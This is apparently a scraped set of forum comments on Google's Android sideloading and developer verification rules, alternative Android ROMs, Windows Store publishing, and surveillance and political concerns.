I regard Google highly in many domains, but this needs independent research. There is just waay too much opportunity to misuse data to paint a picture of themselves as the protectors. Especially curious about their definition of malware, because to me the app stores seem worse than browser toolbars from the 2000s.

It also shows how bad Google is at preventing malware in the Play store. There are far more than 50x more installs from the Play store than from side loading, which means that most malware is installed through the Play store, despite the much lower barrier to entry for side loading.

> Fairphone never updating their phones

I have a Fairphone and i get updates pretty frequently so not sure what you mean?

Fairphones are also LineageOS and postmarketOS compatible, both options are without tracking and without Google's mandated policies.

LineageOS without gapps is really usable if you set aside the "big" social media apps. WhatsApp can be sourced from their website as an APK. The social apps like facebook, instagram, snap, tiktok and others all require Google Play's tracking services (aka gapps).

For YouTube there's multiple better alternative open source apps available, and mastodon, amethyst and the fediverse apps on f-droid are far superior in terms of performance to the Google Store alternatives.

Heh, I've always done this. Maybe if every mobile dev made sure I could find text like I can in a browser I'd be less strident. But really, I need a very good reason to install stuff.

It's incredible that by the end of it, the WM rollercoaster made us actually miss WinCE. If you had have told us that initially none of us would have believed you. WM had so much potential and was just totally botched.

That's fair, but a more pervasive Free Software ecosystem might have possibly avoided this outcome entirely. And that failure is something we can lay directly at the feet of the FSF.

If RMS was going to piss off the entire industry with a new version of the GPL, the least he could do was close the network hole. What we got instead is a half measure that satisfies nobody.

More importantly, he completely missed the boat on App Stores. Why was there never any watered down version of copyleft that could be used as a wedge to try and pry open app stores over time? They did it for libraries with the LGPL, but apparently app stores werent worth specials casing.

The setup is the most insane stupid stuff I've dealt with in a while. I am currently waiting for them to agree that my DUNS number is real, and they made me remove the WHOIS privacy from my domain name to verify that my address is associated with it. The billing receipts from my host were insufficient for reasons they couldn't explain. Had to upgrade to the $30/mo and then the $100/mo support plan just to speak to someone and it's been 4 weeks without movement. But hopefully it will be worth it in the end, the EV certs are crazy expensive and don't even remove smartscreen warnings anymore.

Only available to US and Canadian businesses who have more than 3 years of tax history. Weird limitation.

Nice, thanks, I'll take another look!

Those are the moments I am starting to fantasize about starting a customer protection group that is sufficiently committed to follow through on organizing boycotts. Naturally, reality hits once you see average human on the road ( on a highway, full speed ). We might be lost a species.

https://github.com/Genymobile/scrcpy

Not for me at least, 3DS requires approval in an app on my phone. I'd love if the banks just used TOTP instead but no, I have to use their app, some of which don't work with an unlocked bootloader, so I have to have stock android

Time to switch banks.

Who doesn't like idea of throwing grenades down their hallway??

It’s important to note that even if you app is not monetized and you don’t have any intention to, Google still requires all this information anyway (including uploading an ID picture and proof of address). Nothing really stops Google from publishing this information in the future.

A deleted comment mentioned this is an EU law, which is partially true, but there is also malicious compliance from Google’s side.

That's absolutely correct.

That's why you have to have a business address, and get all your business admin ducks in a row, even if it's your first real monetized app. Your future self will always thank you!

> applied for a primary purpose other than facilitating communication between persons involved in criminal activity to defeat law enforcement detection

Does the jurisdiction matter? For example, if an activist was using a device to do things in another country that would be legal in Australia but were crimes in the other country.

I mean, in my country, it's increasingly unclear to me whether things like "loudly criticizing the executive branch" are now considered criminal. Recent executive branch statements on this issue seem to indicate that they may consider some critics criminal just for being critics. But it's hard to be sure. And so far, every critic they've threatened to arrest has also been accused of committing other crimes.

So "the government only considers a duress PIN illegal if it is used to facilitate crime" seems like a potentially tricky standard to apply.

> depending on what a reasonable person thinks

But this is just legal fiction, so not a barrier to "automatic"

And we will all rationalise it and believe it's normal and has always been like that.

"This regulation will only apply to people who are already criminals" is a line that has never held

We have mass surveillance already in all 5 eyes countries that assumes that anyone can be a criminal at all times.

Yep. They fumbled the ball on step 1 of demand aggregation and we got lucky there was nothing of value for the 99% of users that will blindly take the easy path.

> there was a potential parallel universe where they were successful at that plan and consumer versions of Windows would be locked to the Microsoft store.

Sounds like a nightmare universe.

I've got a hobby app in kotlin multiplatform with iOS/Android/Windows/WASM builds and while I have no issues with Apple's App Store or Google Play, I've had nothing but problems trying to support Windows Store.

The MSIX installer format is horrendous to deal with and the certification process for new releases on Windows Store is always far too long and in the cases they do find issues the reports of the issue that they log are entirely worthless.

I ended up just pulling the app off the Windows Store entirely and making it a downloadable *.msi installer. While the extra layer of presumed integrity of the app being on the Microsoft Store would be nice it wasn't remotely worth the effort for the tiny amount of people who were using the Windows version in the first place, especially given the app is free.

this is literally just an xbox lol

Was it? WOW64 runs 32-bit software fine enough. Or are you talking about 16-bit applications?

MS is now competing against businesses that see their users as profit centers. (Google, Meta, Apple)

Windows was never going to go another way than this.

Users who care about hardware and/or software freedom should be on linux.

Microsoft basically already has this (and has for the last ~20 years) as SmartScreen.

Imagine that metaphorical granny that in an instant catches fire and turns into ash if the governments and large corporations don't have complete control over our lives.

What a lovely granny that totally exists.

> cracked versions of spotify/youtube/paid games

This doesn't make much sense to me.

To put the strongest face on it, by "cracked" youtube, you mean a version that shows the cracker's ads and maybe somehow generates extra clicks (or whatever) so they can get money out of it?

Cracked spotify? In my mind that's just like YouTube, almost entirely server-side. I guess you're talking about hijacking ads here, too? I feel like a "real" crack of Spotify would let you listen to music for free, but that should be impossible (unless their SWE's are incompetent).

Did she ever get anything side loaded like that? I have downloaded malware by mistake before. Not once were they allowed to proceed with installation. The only way I got anything side loaded was if I installed the first one (which is always Fdroid) deliberately via ADB after I enabled the developer mode.

> Are there still people who like using Windows?

You are assuming that everyone knows about or ever experienced the alternatives. Windows way is the only way for many.

It is so weird to read comments based on a belief that the current government is aimed at some goal of justice. I guess they're just still drinking the Kool-aid?

Trump was a breath of fresh air talking about frustrations with the status quo that other politicians wouldn't acknowledge. But the only reason he was bringing them up was for use as a cudgel to shake down companies to enrich himself. He will very most certainly go after big tech monopolies and break them up... iff those big tech monopolies don't put bribes into his pocket. As long as his pockets get fatter, then the status quo is just peachy. It's called "making a deal".